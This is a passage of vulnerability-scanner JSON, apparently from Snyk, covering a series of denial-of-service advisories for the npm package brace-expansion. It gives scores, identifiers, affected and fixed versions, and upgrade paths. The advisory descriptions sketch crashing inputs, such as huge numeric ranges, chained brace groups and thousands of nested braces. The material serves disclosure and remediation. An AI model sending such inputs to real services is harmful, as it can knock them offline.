], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { 